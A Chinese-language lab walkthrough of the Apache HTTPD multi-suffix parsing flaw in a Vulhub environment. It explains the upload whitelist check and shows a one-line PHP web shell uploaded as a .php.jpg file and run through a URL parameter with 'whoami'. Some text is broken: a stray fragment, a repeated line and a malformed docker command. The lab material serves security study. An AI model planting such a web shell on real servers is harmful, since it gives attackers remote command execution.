Apache HTTPD 多后缀解析漏洞
漏洞链接
https://vulhub.org/#/environments/httpd/apache_parsing_vulnerability/
漏洞原理
在有多个后缀的情况下,只要一个文件含有.php后缀的文件即将被识别成PHP文件,没必要是最后一个后缀。利用这个特性,将会造成一个可以绕过上传白名单的解析漏洞。
运行容器
进入容器查看文件
sudo docker ps -a 查看运行的容器
sudo docker exec it exec 容器id /bin/bash
exec 表示在容器中执行一个命令,该命令后加容器ID和要执行命令,上面执行的命令就是/bin/bash。
-i 表示即使没有连接,也要保持STDIN打开,也就是一直监听命令的状态。
-t 表示分配一个tty终端设备,加上这个参数就具有按TAB自动补全命令等等功能。
打开配置文件
ls 展开文件
cat index.php 打开web目录
cat /etc/apache2/conf-available/docker-php.conf 查看apache2的配置文件
cat /etc/apache2/conf-available/docker-php.conf 打开配置文件
下面配置文件应该为index.(php)$ ,(.php)$ 是通过正则表达式匹配.php,其中$代表在字符串的末尾匹配,所以只有.php位于文件名最后,apache才会将该文件以php的方式解析。index.php则只要文件中有php文件就都会执行解析。
打开文件上传文件
cat upload.php
这里文件上传的代码
红框里的代码的意思是代码使用pathinfo()的函数获取 $_FILES['file_upload']['name'] 的扩展名,并将其存储在变量 $ext 中。这里 $_FILES['file_upload']['name'] 表示上传文件的原始文件名
然后,代码使用 in_array() 函数检查变量 $ext 是否在指定的扩展名数组 ['gif', 'png', 'jpg', 'jpeg'] 中。如果 $ext 的值不在该数组中,意味着上传的文件的扩展名不是所允许的类型。
如果文件的扩展名不符合要求,代码会执行 die('Unsupported filetype uploaded.'),结束程序运行并输出 "Unsupported filetype uploaded." 的错误信息。
这里代码增加了$,因此只会检查文件的最后一个后缀,因此我们可以通过多重后缀名添加的方式,绕过这个过滤机制。
将一句话代码<?php system($_GET['a'])?>;放入1.php.jpg,并上传到服务器。(上传成功)
###上传成功
执行成功
http://yourid/uploadfiles/a.php.jpg?a=whoami
54139)]
执行成功
http://yourid/uploadfiles/a.php.jpg?a=whoami